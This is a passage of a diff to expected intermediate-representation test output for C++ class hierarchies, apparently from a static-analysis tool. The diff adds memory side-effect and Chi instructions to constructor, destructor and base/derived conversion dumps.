InitializeThis : -# 766| r0_3(glval) = ConvertToBase[Derived : Middle] : r0_2 -# 766| r0_4(glval) = FunctionAddress[Middle] : -# 766| v0_5(void) = Call : r0_4, this:r0_3 -# 766| r0_6(glval) = FieldAddress[derived_s] : r0_2 -# 766| r0_7(glval) = FunctionAddress[String] : -# 766| v0_8(void) = Call : r0_7, this:r0_6 -# 767| v0_9(void) = NoOp : -# 766| v0_10(void) = ReturnVoid : -# 766| v0_11(void) = UnmodeledUse : mu* -# 766| v0_12(void) = ExitFunction : +# 766| v0_0(void) = EnterFunction : +# 766| m0_1(unknown) = AliasedDefinition : +# 766| mu0_2(unknown) = UnmodeledDefinition : +# 766| r0_3(glval) = InitializeThis : +# 766| r0_4(glval) = ConvertToBase[Derived : Middle] : r0_3 +# 766| r0_5(glval) = FunctionAddress[Middle] : +# 766| v0_6(void) = Call : r0_5, this:r0_4 +# 766| m0_7(unknown) = ^CallSideEffect : m0_1 +# 766| m0_8(unknown) = Chi : m0_1, m0_7 +# 766| r0_9(glval) = FieldAddress[derived_s] : r0_3 +# 766| r0_10(glval) = FunctionAddress[String] : +# 766| v0_11(void) = Call : r0_10, this:r0_9 +# 766| m0_12(unknown) = ^CallSideEffect : m0_8 +# 766| m0_13(unknown) = Chi : m0_8, m0_12 +# 767| v0_14(void) = NoOp : +# 766| v0_15(void) = ReturnVoid : +# 766| v0_16(void) = UnmodeledUse : mu* +# 766| v0_17(void) = ExitFunction : # 768| Derived::~Derived() -> void # 768| Block 0 -# 768| v0_0(void) = EnterFunction : -# 768| mu0_1(unknown) = UnmodeledDefinition : -# 768| r0_2(glval) = InitializeThis : -# 769| v0_3(void) = NoOp : -# 769| r0_4(glval) = FieldAddress[derived_s] : r0_2 -# 769| r0_5(glval) = FunctionAddress[~String] : -# 769| v0_6(void) = Call : r0_5, this:r0_4 -# 769| r0_7(glval) = ConvertToBase[Derived : Middle] : r0_2 -# 769| r0_8(glval) = FunctionAddress[~Middle] : -# 769| v0_9(void) = Call : r0_8, this:r0_7 -# 768| v0_10(void) = ReturnVoid : -# 768| v0_11(void) = UnmodeledUse : mu* -# 768| v0_12(void) = ExitFunction : +# 768| v0_0(void) = EnterFunction : +# 768| m0_1(unknown) = AliasedDefinition : +# 768| mu0_2(unknown) = UnmodeledDefinition : +# 768| r0_3(glval) = InitializeThis : +# 769| v0_4(void) = NoOp : +# 769| r0_5(glval) = FieldAddress[derived_s] : r0_3 +# 769| r0_6(glval) = FunctionAddress[~String] : +# 769| v0_7(void) = Call : r0_6, this:r0_5 +# 769| m0_8(unknown) = ^CallSideEffect : m0_1 +# 769| m0_9(unknown) = Chi : m0_1, m0_8 +# 769| r0_10(glval) = ConvertToBase[Derived : Middle] : r0_3 +# 769| r0_11(glval) = FunctionAddress[~Middle] : +# 769| v0_12(void) = Call : r0_11, this:r0_10 +# 769| m0_13(unknown) = ^CallSideEffect : m0_9 +# 769| m0_14(unknown) = Chi : m0_9, m0_13 +# 768| v0_15(void) = ReturnVoid : +# 768| v0_16(void) = UnmodeledUse : mu* +# 768| v0_17(void) = ExitFunction : # 775| MiddleVB1::MiddleVB1() -> void # 775| Block 0 # 775| v0_0(void) = EnterFunction : -# 775| mu0_1(unknown) = UnmodeledDefinition : -# 775| r0_2(glval) = InitializeThis : -# 775| r0_3(glval) = ConvertToBase[MiddleVB1 : Base] : r0_2 -# 775| r0_4(glval) = FunctionAddress[Base] : -# 775| v0_5(void) = Call : r0_4, this:r0_3 -# 775| r0_6(glval) = FieldAddress[middlevb1_s] : r0_2 -# 775| r0_7(glval) = FunctionAddress[String] : -# 775| v0_8(void) = Call : r0_7, this:r0_6 -# 776| v0_9(void) = NoOp : -# 775| v0_10(void) = ReturnVoid : -# 775| v0_11(void) = UnmodeledUse : mu* -# 775| v0_12(void) = ExitFunction : +# 775| m0_1(unknown) = AliasedDefinition : +# 775| mu0_2(unknown) = UnmodeledDefinition : +# 775| r0_3(glval) = InitializeThis : +# 775| r0_4(glval) = ConvertToBase[MiddleVB1 : Base] : r0_3 +# 775| r0_5(glval) = FunctionAddress[Base] : +# 775| v0_6(void) = Call : r0_5, this:r0_4 +# 775| m0_7(unknown) = ^CallSideEffect : m0_1 +# 775| m0_8(unknown) = Chi : m0_1, m0_7 +# 775| r0_9(glval) = FieldAddress[middlevb1_s] : r0_3 +# 775| r0_10(glval) = FunctionAddress[String] : +# 775| v0_11(void) = Call : r0_10, this:r0_9 +# 775| m0_12(unknown) = ^CallSideEffect : m0_8 +# 775| m0_13(unknown) = Chi : m0_8, m0_12 +# 776| v0_14(void) = NoOp : +# 775| v0_15(void) = ReturnVoid : +# 775| v0_16(void) = UnmodeledUse : mu* +# 775| v0_17(void) = ExitFunction : # 777| MiddleVB1::~MiddleVB1() -> void # 777| Block 0 # 777| v0_0(void) = EnterFunction : -# 777| mu0_1(unknown) = UnmodeledDefinition : -# 777| r0_2(glval) = InitializeThis : -# 778| v0_3(void) = NoOp : -# 778| r0_4(glval) = FieldAddress[middlevb1_s] : r0_2 -# 778| r0_5(glval) = FunctionAddress[~String] : -# 778| v0_6(void) = Call : r0_5, this:r0_4 -# 778| r0_7(glval) = ConvertToBase[MiddleVB1 : Base] : r0_2 -# 778| r0_8(glval) = FunctionAddress[~Base] : -# 778| v0_9(void) = Call : r0_8, this:r0_7 -# 777| v0_10(void) = ReturnVoid : -# 777| v0_11(void) = UnmodeledUse : mu* -# 777| v0_12(void) = ExitFunction : +# 777| m0_1(unknown) = AliasedDefinition : +# 777| mu0_2(unknown) = UnmodeledDefinition : +# 777| r0_3(glval) = InitializeThis : +# 778| v0_4(void) = NoOp : +# 778| r0_5(glval) = FieldAddress[middlevb1_s] : r0_3 +# 778| r0_6(glval) = FunctionAddress[~String] : +# 778| v0_7(void) = Call : r0_6, this:r0_5 +# 778| m0_8(unknown) = ^CallSideEffect : m0_1 +# 778| m0_9(unknown) = Chi : m0_1, m0_8 +# 778| r0_10(glval) = ConvertToBase[MiddleVB1 : Base] : r0_3 +# 778| r0_11(glval) = FunctionAddress[~Base] : +# 778| v0_12(void) = Call : r0_11, this:r0_10 +# 778| m0_13(unknown) = ^CallSideEffect : m0_9 +# 778| m0_14(unknown) = Chi : m0_9, m0_13 +# 777| v0_15(void) = ReturnVoid : +# 777| v0_16(void) = UnmodeledUse : mu* +# 777| v0_17(void) = ExitFunction : # 784| MiddleVB2::MiddleVB2() -> void # 784| Block 0 # 784| v0_0(void) = EnterFunction : -# 784| mu0_1(unknown) = UnmodeledDefinition : -# 784| r0_2(glval) = InitializeThis : -# 784| r0_3(glval) = ConvertToBase[MiddleVB2 : Base] : r0_2 -# 784| r0_4(glval) = FunctionAddress[Base] : -# 784| v0_5(void) = Call : r0_4, this:r0_3 -# 784| r0_6(glval) = FieldAddress[middlevb2_s] : r0_2 -# 784| r0_7(glval) = FunctionAddress[String] : -# 784| v0_8(void) = Call : r0_7, this:r0_6 -# 785| v0_9(void) = NoOp : -# 784| v0_10(void) = ReturnVoid : -# 784| v0_11(void) = UnmodeledUse : mu* -# 784| v0_12(void) = ExitFunction : +# 784| m0_1(unknown) = AliasedDefinition : +# 784| mu0_2(unknown) = UnmodeledDefinition : +# 784| r0_3(glval) = InitializeThis : +# 784| r0_4(glval) = ConvertToBase[MiddleVB2 : Base] : r0_3 +# 784| r0_5(glval) = FunctionAddress[Base] : +# 784| v0_6(void) = Call : r0_5, this:r0_4 +# 784| m0_7(unknown) = ^CallSideEffect : m0_1 +# 784| m0_8(unknown) = Chi : m0_1, m0_7 +# 784| r0_9(glval) = FieldAddress[middlevb2_s] : r0_3 +# 784| r0_10(glval) = FunctionAddress[String] : +# 784| v0_11(void) = Call : r0_10, this:r0_9 +# 784| m0_12(unknown) = ^CallSideEffect : m0_8 +# 784| m0_13(unknown) = Chi : m0_8, m0_12 +# 785| v0_14(void) = NoOp : +# 784| v0_15(void) = ReturnVoid : +# 784| v0_16(void) = UnmodeledUse : mu* +# 784| v0_17(void) = ExitFunction : # 786| MiddleVB2::~MiddleVB2() -> void # 786| Block 0 # 786| v0_0(void) = EnterFunction : -# 786| mu0_1(unknown) = UnmodeledDefinition : -# 786| r0_2(glval) = InitializeThis : -# 787| v0_3(void) = NoOp : -# 787| r0_4(glval) = FieldAddress[middlevb2_s] : r0_2 -# 787| r0_5(glval) = FunctionAddress[~String] : -# 787| v0_6(void) = Call : r0_5, this:r0_4 -# 787| r0_7(glval) = ConvertToBase[MiddleVB2 : Base] : r0_2 -# 787| r0_8(glval) = FunctionAddress[~Base] : -# 787| v0_9(void) = Call : r0_8, this:r0_7 -# 786| v0_10(void) = ReturnVoid : -# 786| v0_11(void) = UnmodeledUse : mu* -# 786| v0_12(void) = ExitFunction : +# 786| m0_1(unknown) = AliasedDefinition : +# 786| mu0_2(unknown) = UnmodeledDefinition : +# 786| r0_3(glval) = InitializeThis : +# 787| v0_4(void) = NoOp : +# 787| r0_5(glval) = FieldAddress[middlevb2_s] : r0_3 +# 787| r0_6(glval) = FunctionAddress[~String] : +# 787| v0_7(void) = Call : r0_6, this:r0_5 +# 787| m0_8(unknown) = ^CallSideEffect : m0_1 +# 787| m0_9(unknown) = Chi : m0_1, m0_8 +# 787| r0_10(glval) = ConvertToBase[MiddleVB2 : Base] : r0_3 +# 787| r0_11(glval) = FunctionAddress[~Base] : +# 787| v0_12(void) = Call : r0_11, this:r0_10 +# 787| m0_13(unknown) = ^CallSideEffect : m0_9 +# 787| m0_14(unknown) = Chi : m0_9, m0_13 +# 786| v0_15(void) = ReturnVoid : +# 786| v0_16(void) = UnmodeledUse : mu* +# 786| v0_17(void) = ExitFunction : # 793| DerivedVB::DerivedVB() -> void # 793| Block 0 -# 793| v0_0(void) = EnterFunction : -# 793| mu0_1(unknown) = UnmodeledDefinition : -# 793| r0_2(glval) = InitializeThis : -# 793| r0_3(glval) = ConvertToBase[DerivedVB : Base] : r0_2 -# 793| r0_4(glval) = FunctionAddress[Base] : -# 793| v0_5(void) = Call : r0_4, this:r0_3 -# 793| r0_6(glval) = ConvertToBase[DerivedVB : MiddleVB1] : r0_2 -# 793| r0_7(glval) = FunctionAddress[MiddleVB1] : -# 793| v0_8(void) = Call : r0_7, this:r0_6 -# 793| r0_9(glval) = ConvertToBase[DerivedVB : MiddleVB2] : r0_2 -# 793| r0_10(glval) = FunctionAddress[MiddleVB2] : -# 793| v0_11(void) = Call : r0_10, this:r0_9 -# 793| r0_12(glval) = FieldAddress[derivedvb_s] : r0_2 -# 793| r0_13(glval) = FunctionAddress[String] : -# 793| v0_14(void) = Call : r0_13, this:r0_12 -# 794| v0_15(void) = NoOp : -# 793| v0_16(void) = ReturnVoid : -# 793| v0_17(void) = UnmodeledUse : mu* -# 793| v0_18(void) = ExitFunction : +# 793| v0_0(void) = EnterFunction : +# 793| m0_1(unknown) = AliasedDefinition : +# 793| mu0_2(unknown) = UnmodeledDefinition : +# 793| r0_3(glval) = InitializeThis : +# 793| r0_4(glval) = ConvertToBase[DerivedVB : Base] : r0_3 +# 793| r0_5(glval) = FunctionAddress[Base] : +# 793| v0_6(void) = Call : r0_5, this:r0_4 +# 793| m0_7(unknown) = ^CallSideEffect : m0_1 +# 793| m0_8(unknown) = Chi : m0_1, m0_7 +# 793| r0_9(glval) = ConvertToBase[DerivedVB : MiddleVB1] : r0_3 +# 793| r0_10(glval) = FunctionAddress[MiddleVB1] : +# 793| v0_11(void) = Call : r0_10, this:r0_9 +# 793| m0_12(unknown) = ^CallSideEffect : m0_8 +# 793| m0_13(unknown) = Chi : m0_8, m0_12 +# 793| r0_14(glval) = ConvertToBase[DerivedVB : MiddleVB2] : r0_3 +# 793| r0_15(glval) = FunctionAddress[MiddleVB2] : +# 793| v0_16(void) = Call : r0_15, this:r0_14 +# 793| m0_17(unknown) = ^CallSideEffect : m0_13 +# 793| m0_18(unknown) = Chi : m0_13, m0_17 +# 793| r0_19(glval) = FieldAddress[derivedvb_s] : r0_3 +# 793| r0_20(glval) = FunctionAddress[String] : +# 793| v0_21(void) = Call : r0_20, this:r0_19 +# 793| m0_22(unknown) = ^CallSideEffect : m0_18 +# 793| m0_23(unknown) = Chi : m0_18, m0_22 +# 794| v0_24(void) = NoOp : +# 793| v0_25(void) = ReturnVoid : +# 793| v0_26(void) = UnmodeledUse : mu* +# 793| v0_27(void) = ExitFunction : # 795| DerivedVB::~DerivedVB() -> void # 795| Block 0 # 795| v0_0(void) = EnterFunction : -# 795| mu0_1(unknown) = UnmodeledDefinition : -# 795| r0_2(glval) = InitializeThis : -# 796| v0_3(void) = NoOp : -# 796| r0_4(glval) = FieldAddress[derivedvb_s] : r0_2 -# 796| r0_5(glval) = FunctionAddress[~String] : -# 796| v0_6(void) = Call : r0_5, this:r0_4 -# 796| r0_7(glval) = ConvertToBase[DerivedVB : MiddleVB2] : r0_2 -# 796| r0_8(glval) = FunctionAddress[~MiddleVB2] : -# 796| v0_9(void) = Call : r0_8, this:r0_7 -# 796| r0_10(glval) = ConvertToBase[DerivedVB : MiddleVB1] : r0_2 -# 796| r0_11(glval) = FunctionAddress[~MiddleVB1] : +# 795| m0_1(unknown) = AliasedDefinition : +# 795| mu0_2(unknown) = UnmodeledDefinition : +# 795| r0_3(glval) = InitializeThis : +# 796| v0_4(void) = NoOp : +# 796| r0_5(glval) = FieldAddress[derivedvb_s] : r0_3 +# 796| r0_6(glval) = FunctionAddress[~String] : +# 796| v0_7(void) = Call : r0_6, this:r0_5 +# 796| m0_8(unknown) = ^CallSideEffect : m0_1 +# 796| m0_9(unknown) = Chi : m0_1, m0_8 +# 796| r0_10(glval) = ConvertToBase[DerivedVB : MiddleVB2] : r0_3 +# 796| r0_11(glval) = FunctionAddress[~MiddleVB2] : # 796| v0_12(void) = Call : r0_11, this:r0_10 -# 796| r0_13(glval) = ConvertToBase[DerivedVB : Base] : r0_2 -# 796| r0_14(glval) = FunctionAddress[~Base] : -# 796| v0_15(void) = Call : r0_14, this:r0_13 -# 795| v0_16(void) = ReturnVoid : -# 795| v0_17(void) = UnmodeledUse : mu* -# 795| v0_18(void) = ExitFunction : +# 796| m0_13(unknown) = ^CallSideEffect : m0_9 +# 796| m0_14(unknown) = Chi : m0_9, m0_13 +# 796| r0_15(glval) = ConvertToBase[DerivedVB : MiddleVB1] : r0_3 +# 796| r0_16(glval) = FunctionAddress[~MiddleVB1] : +# 796| v0_17(void) = Call : r0_16, this:r0_15 +# 796| m0_18(unknown) = ^CallSideEffect : m0_14 +# 796| m0_19(unknown) = Chi : m0_14, m0_18 +# 796| r0_20(glval) = ConvertToBase[DerivedVB : Base] : r0_3 +# 796| r0_21(glval) = FunctionAddress[~Base] : +# 796| v0_22(void) = Call : r0_21, this:r0_20 +# 796| m0_23(unknown) = ^CallSideEffect : m0_19 +# 796| m0_24(unknown) = Chi : m0_19, m0_23 +# 795| v0_25(void) = ReturnVoid : +# 795| v0_26(void) = UnmodeledUse : mu* +# 795| v0_27(void) = ExitFunction : # 799| HierarchyConversions() -> void # 799| Block 0 # 799| v0_0(void) = EnterFunction : -# 799| mu0_1(unknown) = UnmodeledDefinition : -# 800| r0_2(glval) = VariableAddress[b] : -# 800| r0_3(glval) = FunctionAddress[Base] : -# 800| v0_4(void) = Call : r0_3, this:r0_2 -# 801| r0_5(glval) = VariableAddress[m] : -# 801| r0_6(glval) = FunctionAddress[Middle] : -# 801| v0_7(void) = Call : r0_6, this:r0_5 -# 802| r0_8(glval) = VariableAddress[d] : -# 802| r0_9(glval) = FunctionAddress[Derived] : -# 802| v0_10(void) = Call : r0_9, this:r0_8 -# 804| r0_11(glval) = VariableAddress[pb] : -# 804| r0_12(glval) = VariableAddress[b] : -# 804| m0_13(Base *) = Store : r0_11, r0_12 -# 805| r0_14(glval) = VariableAddress[pm] : -# 805| r0_15(glval) = VariableAddress[m] : -# 805| m0_16(Middle *) = Store : r0_14, r0_15 -# 806| r0_17(glval) = VariableAddress[pd] : -# 806| r0_18(glval) = VariableAddress[d] : -# 806| m0_19(Derived *) = Store : r0_17, r0_18 -# 808| r0_20(glval) = VariableAddress[b] : -# 808| r0_21(glval) = FunctionAddress[operator=] : -# 808| r0_22(glval) = VariableAddress[m] : -# 808| r0_23(glval) = ConvertToBase[Middle : Base] : r0_22 -# 808| r0_24(Base &) = Call : r0_21, this:r0_20, r0_23 -# 809| r0_25(glval) = VariableAddress[b] : -# 809| r0_26(glval) = FunctionAddress[operator=] : -# 809| r0_27(glval) = FunctionAddress[Base] : -# 809| r0_28(glval) = VariableAddress[m] : -# 809| r0_29(glval) = ConvertToBase[Middle : Base] : r0_28 -# 809| v0_30(void) = Call : r0_27, r0_29 -# 809| r0_31(Base) = Convert : v0_30 -# 809| r0_32(Base &) = Call : r0_26, this:r0_25, r0_31 -# 810| r0_33(glval) = VariableAddress[b] : -# 810| r0_34(glval) = FunctionAddress[operator=] : -# 810| r0_35(glval) = FunctionAddress[Base] : -# 810| r0_36(glval) = VariableAddress[m] : -# 810| r0_37(glval) = ConvertToBase[Middle : Base] : r0_36 -# 810| v0_38(void) = Call : r0_35, r0_37 -# 810| r0_39(Base) = Convert : v0_38 -# 810| r0_40(Base &) = Call : r0_34, this:r0_33, r0_39 -# 811| r0_41(glval) = VariableAddress[pm] : -# 811| r0_42(Middle *) = Load : r0_41, m0_16 -# 811| r0_43(Base *) = ConvertToBase[Middle : Base] : r0_42 -# 811| r0_44(glval) = VariableAddress[pb] : -# 811| m0_45(Base *) = Store : r0_44, r0_43 -# 812| r0_46(glval) = VariableAddress[pm] : -# 812| r0_47(Middle *) = Load : r0_46, m0_16 -# 812| r0_48(Base *) = ConvertToBase[Middle : Base] : r0_47 -# 812| r0_49(glval) = VariableAddress[pb] : -# 812| m0_50(Base *) = Store : r0_49, r0_48 -# 813| r0_51(glval) = VariableAddress[pm] : -# 813| r0_52(Middle *) = Load : r0_51, m0_16 -# 813| r0_53(Base *) = ConvertToBase[Middle : Base] : r0_52 -# 813| r0_54(glval) = VariableAddress[pb] : -# 813| m0_55(Base *) = Store : r0_54, r0_53 -# 814| r0_56(glval) = VariableAddress[pm] : -# 814| r0_57(Middle *) = Load : r0_56, m0_16 -# 814| r0_58(Base *) = Convert : r0_57 -# 814| r0_59(glval) = VariableAddress[pb] : -# 814| m0_60(Base *) = Store : r0_59, r0_58 -# 816| r0_61(glval) = VariableAddress[m] : -# 816| r0_62(glval) = FunctionAddress[operator=] : -# 816| r0_63(glval) = VariableAddress[b] : -# 816| r0_64(glval) = ConvertToDerived[Middle : Base] : r0_63 -# 816| r0_65(glval) = Convert : r0_64 -# 816| r0_66(Middle &) = Call : r0_62, this:r0_61, r0_65 -# 817| r0_67(glval) = VariableAddress[m] : -# 817| r0_68(glval) = FunctionAddress[operator=] : -# 817| r0_69(glval) = VariableAddress[b] : -# 817| r0_70(glval) = ConvertToDerived[Middle : Base] : r0_69 -# 817| r0_71(glval) = Convert : r0_70 -# 817| r0_72(Middle &) = Call : r0_68, this:r0_67, r0_71 -# 818| r0_73(glval) = VariableAddress[pb] : -# 818| r0_74(Base *) = Load : r0_73, m0_60 -# 818| r0_75(Middle *) = ConvertToDerived[Middle : Base] : r0_74 -# 818| r0_76(glval) = VariableAddress[pm] : -# 818| m0_77(Middle *) = Store : r0_76, r0_75 -# 819| r0_78(glval) = VariableAddress[pb] : -# 819| r0_79(Base *) = Load : r0_78, m0_60 -# 819| r0_80(Middle *) = ConvertToDerived[Middle : Base] : r0_79 -# 819| r0_81(glval) = VariableAddress[pm] : -# 819| m0_82(Middle *) = Store : r0_81, r0_80 -# 820| r0_83(glval) = VariableAddress[pb] : -# 820| r0_84(Base *) = Load : r0_83, m0_60 -# 820| r0_85(Middle *) = Convert : r0_84 -# 820| r0_86(glval) = VariableAddress[pm] : -# 820| m0_87(Middle *) = Store : r0_86, r0_85 -# 822| r0_88(glval) = VariableAddress[b] : -# 822| r0_89(glval) = FunctionAddress[operator=] : -# 822| r0_90(glval) = VariableAddress[d] : -# 822| r0_91(glval) = ConvertToBase[Derived : Middle] : r0_90 -# 822| r0_92(glval) = ConvertToBase[Middle : Base] : r0_91 -# 822| r0_93(Base &) = Call : r0_89, this:r0_88, r0_92 -# 823| r0_94(glval) = VariableAddress[b] : -# 823| r0_95(glval) = FunctionAddress[operator=] : -# 823| r0_96(glval) = FunctionAddress[Base] : -# 823| r0_97(glval) = VariableAddress[d] : -# 823| r0_98(glval) = ConvertToBase[Derived : Middle] : r0_97 -# 823| r0_99(glval) = ConvertToBase[Middle : Base] : r0_98 -# 823| v0_100(void) = Call : r0_96, r0_99 -# 823| r0_101(Base) = Convert : v0_100 -# 823| r0_102(Base &) = Call : r0_95, this:r0_94, r0_101 -# 824| r0_103(glval) = VariableAddress[b] : -# 824| r0_104(glval) = FunctionAddress[operator=] : -# 824| r0_105(glval) = FunctionAddress[Base] : -# 824| r0_106(glval) = VariableAddress[d] : -# 824| r0_107(glval) = ConvertToBase[Derived : Middle] : r0_106 -# 824| r0_108(glval) = ConvertToBase[Middle : Base] : r0_107 -# 824| v0_109(void) = Call : r0_105, r0_108 -# 824| r0_110(Base) = Convert : v0_109 -# 824| r0_111(Base &) = Call : r0_104, this:r0_103, r0_110 -# 825| r0_112(glval) = VariableAddress[pd] : -# 825| r0_113(Derived *) = Load : r0_112, m0_19 -# 825| r0_114(Middle *) = ConvertToBase[Derived : Middle] : r0_113 -# 825| r0_115(Base *) = ConvertToBase[Middle : Base] : r0_114 -# 825| r0_116(glval) = VariableAddress[pb] : -# 825| m0_117(Base *) = Store : r0_116, r0_115 -# 826| r0_118(glval) = VariableAddress[pd] : -# 826| r0_119(Derived *) = Load : r0_118, m0_19 -# 826| r0_120(Middle *) = ConvertToBase[Derived : Middle] : r0_119 -# 826| r0_121(Base *) = ConvertToBase[Middle : Base] : r0_120 -# 826| r0_122(glval) = VariableAddress[pb] : -# 826| m0_123(Base *) = Store : r0_122, r0_121 -# 827| r0_124(glval) = VariableAddress[pd] : -# 827| r0_125(Derived *) = Load : r0_124, m0_19 -# 827| r0_126(Middle *) = ConvertToBase[Derived : Middle] : r0_125 -# 827| r0_127(Base *) = ConvertToBase[Middle : Base] : r0_126 -# 827| r0_128(glval) = VariableAddress[pb] : -# 827| m0_129(Base *) = Store : r0_128, r0_127 -# 828| r0_130(glval) = VariableAddress[pd] : -# 828| r0_131(Derived *) = Load : r0_130, m0_19 -# 828| r0_132(Base *) = Convert : r0_131 -# 828| r0_133(glval) = VariableAddress[pb] : -# 828| m0_134(Base *) = Store : r0_133, r0_132 -# 830| r0_135(glval) = VariableAddress[d] : -# 830| r0_136(glval) = FunctionAddress[operator=] : -# 830| r0_137(glval) = VariableAddress[b] : -# 830| r0_138(glval) = ConvertToDerived[Middle : Base] : r0_137 -# 830| r0_139(glval) = ConvertToDerived[Derived : Middle] : r0_138 -# 830| r0_140(glval) = Convert : r0_139 -# 830| r0_141(Derived &) = Call : r0_136, this:r0_135, r0_140 -# 831| r0_142(glval) = VariableAddress[d] : -# 831| r0_143(glval) = FunctionAddress[operator=] : -# 831| r0_144(glval) = VariableAddress[b] : -# 831| r0_145(glval) = ConvertToDerived[Middle : Base] : r0_144 -# 831| r0_146(glval) = ConvertToDerived[Derived : Middle] : r0_145 -# 831| r0_147(glval) = Convert : r0_146 -# 831| r0_148(Derived &) = Call : r0_143, this:r0_142, r0_147 -# 832| r0_149(glval) = VariableAddress[pb] : -# 832| r0_150(Base *) = Load : r0_149, m0_134 -# 832| r0_151(Middle *) = ConvertToDerived[Middle : Base] : r0_150 -# 832| r0_152(Derived *) = ConvertToDerived[Derived : Middle] : r0_151 -# 832| r0_153(glval) = VariableAddress[pd] : -# 832| m0_154(Derived *) = Store : r0_153, r0_152 -# 833| r0_155(glval) = VariableAddress[pb] : -# 833| r0_156(Base *) = Load : r0_155, m0_134 -# 833| r0_157(Middle *) = ConvertToDerived[Middle : Base] : r0_156 -# 833| r0_158(Derived *) = ConvertToDerived[Derived : Middle] : r0_157 -# 833| r0_159(glval) = VariableAddress[pd] : -# 833| m0_160(Derived *) = Store : r0_159, r0_158 -# 834| r0_161(glval) = VariableAddress[pb] : -# 834| r0_162(Base *) = Load : r0_161, m0_134 -# 834| r0_163(Derived *) = Convert : r0_162 -# 834| r0_164(glval) = VariableAddress[pd] : -# 834| m0_165(Derived *) = Store : r0_164, r0_163 -# 836| r0_166(glval) = VariableAddress[pmv] : -# 836| r0_167(MiddleVB1 *) = Constant[0] : -# 836| m0_168(MiddleVB1 *) = Store : r0_166, r0_167 -# 837| r0_169(glval) = VariableAddress[pdv] : -# 837| r0_170(DerivedVB *) = Constant[0] : -# 837| m0_171(DerivedVB *) = Store : r0_169, r0_170 -# 838| r0_172(glval) = VariableAddress[pmv] : -# 838| r0_173(MiddleVB1 *) = Load : r0_172, m0_168 -# 838| r0_174(Base *) = ConvertToVirtualBase[MiddleVB1 : Base] : r0_173 -# 838| r0_175(glval) = VariableAddress[pb] : -# 838| m0_176(Base *) = Store : r0_175, r0_174 -# 839| r0_177(glval) = VariableAddress[pdv] : -# 839| r0_178(DerivedVB *) = Load : r0_177, m0_171 -# 839| r0_179(Base *) = ConvertToVirtualBase[DerivedVB : Base] : r0_178 -# 839| r0_180(glval) = VariableAddress[pb] : -# 839| m0_181(Base *) = Store : r0_180, r0_179 -# 840| v0_182(void) = NoOp : -# 799| v0_183(void) = ReturnVoid : -# 799| v0_184(void) = UnmodeledUse : mu* -# 799| v0_185(void) = ExitFunction : +# 799| m0_1(unknown) = AliasedDefinition : +# 799| mu0_2(unknown) = UnmodeledDefinition : +# 800| r0_3(glval) = VariableAddress[b] : +# 800| r0_4(glval) = FunctionAddress[Base] : +# 800| v0_5(void) = Call : r0_4, this:r0_3 +# 800| m0_6(unknown) = ^CallSideEffect : m0_1 +# 800| m0_7(unknown) = Chi : m0_1, m0_6 +# 801| r0_8(glval) = VariableAddress[m] : +# 801| r0_9(glval) = FunctionAddress[Middle] : +# 801| v0_10(void) = Call : r0_9, this:r0_8 +# 801| m0_11(unknown) = ^CallSideEffect : m0_7 +# 801| m0_12(unknown) = Chi : m0_7, m0_11 +# 802| r0_13(glval) = VariableAddress[d] : +# 802| r0_14(glval) = FunctionAddress[Derived] : +# 802| v0_15(void) = Call : r0_14, this:r0_13 +# 802| m0_16(unknown) = ^CallSideEffect : m0_12 +# 802| m0_17(unknown) = Chi : m0_12, m0_16 +# 804| r0_18(glval) = VariableAddress[pb] : +# 804| r0_19(glval) = VariableAddress[b] : +# 804| m0_20(Base *) = Store : r0_18, r0_19 +# 805| r0_21(glval) = VariableAddress[pm] : +# 805| r0_22(glval) = VariableAddress[m] : +# 805| m0_23(Middle *) = Store : r0_21, r0_22 +# 806| r0_24(glval) = VariableAddress[pd] : +# 806| r0_25(glval) = VariableAddress[d] : +# 806| m0_26(Derived *) = Store : r0_24, r0_25 +# 808| r0_27(glval) = VariableAddress[b] : +# 808| r0_28(glval) = FunctionAddress[operator=] : +# 808| r0_29(glval) = VariableAddress[m] : +# 808| r0_30(glval) = ConvertToBase[Middle : Base] : r0_29 +# 808| r0_31(Base &) = Call : r0_28, this:r0_27, r0_30 +# 808| m0_32(unknown) = ^CallSideEffect : m0_17 +# 808| m0_33(unknown) = Chi : m0_17, m0_32 +# 809| r0_34(glval) = VariableAddress[b] : +# 809| r0_35(glval) = FunctionAddress[operator=] : +# 809| r0_36(glval) = FunctionAddress[Base] : +# 809| r0_37(glval) = VariableAddress[m] : +# 809| r0_38(glval) = ConvertToBase[Middle : Base] : r0_37 +# 809| v0_39(void) = Call : r0_36, r0_38 +# 809| m0_40(unknown) = ^CallSideEffect : m0_33 +# 809| m0_41(unknown) = Chi : m0_33, m0_40 +# 809| r0_42(Base) = Convert : v0_39 +# 809| r0_43(Base &) = Call : r0_35, this:r0_34, r0_42 +# 809| m0_44(unknown) = ^CallSideEffect : m0_41 +# 809| m0_45(unknown) = Chi : m0_41, m0_44 +# 810| r0_46(glval) = VariableAddress[b] : +# 810| r0_47(glval) = FunctionAddress[operator=] : +# 810| r0_48(glval) = FunctionAddress[Base] : +# 810| r0_49(glval) = VariableAddress[m] : +# 810| r0_50(glval) = ConvertToBase[Middle : Base] : r0_49 +# 810| v0_51(void) = Call : r0_48, r0_50 +# 810| m0_52(unknown) = ^CallSideEffect : m0_45 +# 810| m0_53(unknown) = Chi : m0_45, m0_52 +# 810| r0_54(Base) = Convert : v0_51 +# 810| r0_55(Base &) = Call : r0_47, this:r0_46, r0_54 +# 810| m0_56(unknown) = ^CallSideEffect : m0_53 +# 810| m0_57(unknown) = Chi : m0_53, m0_56 +# 811| r0_58(glval) = VariableAddress[pm] : +# 811| r0_59(Middle *) = Load : r0_58, m0_23 +# 811| r0_60(Base *) = ConvertToBase[Middle : Base] : r0_59 +# 811| r0_61(glval) = VariableAddress[pb] : +# 811| m0_62(Base *) = Store : r0_61, r0_60 +# 812| r0_63(glval) = VariableAddress[pm] : +# 812| r0_64(Middle *) = Load : r0_63, m0_23 +# 812| r0_65(Base *) = ConvertToBase[Middle : Base] : r0_64 +# 812| r0_66(glval) = VariableAddress[pb] : +# 812| m0_67(Base *) = Store : r0_66, r0_65 +# 813| r0_68(glval) = VariableAddress[pm] : +# 813| r0_69(Middle *) = Load : r0_68, m0_23 +# 813| r0_70(Base *) = ConvertToBase[Middle : Base] : r0_69 +# 813| r0_71(glval) = VariableAddress[pb] : +# 813| m0_72(Base *) = Store : r0_71, r0_70 +# 814| r0_73(glval) = VariableAddress[pm] : +# 814| r0_74(Middle *) = Load : r0_73, m0_23 +# 814| r0_75(Base *) = Convert : r0_74 +# 814| r0_76(glval) = VariableAddress[pb] : +# 814| m0_77(Base *) = Store : r0_76, r0_75 +# 816| r0_78(glval) = VariableAddress[m] : 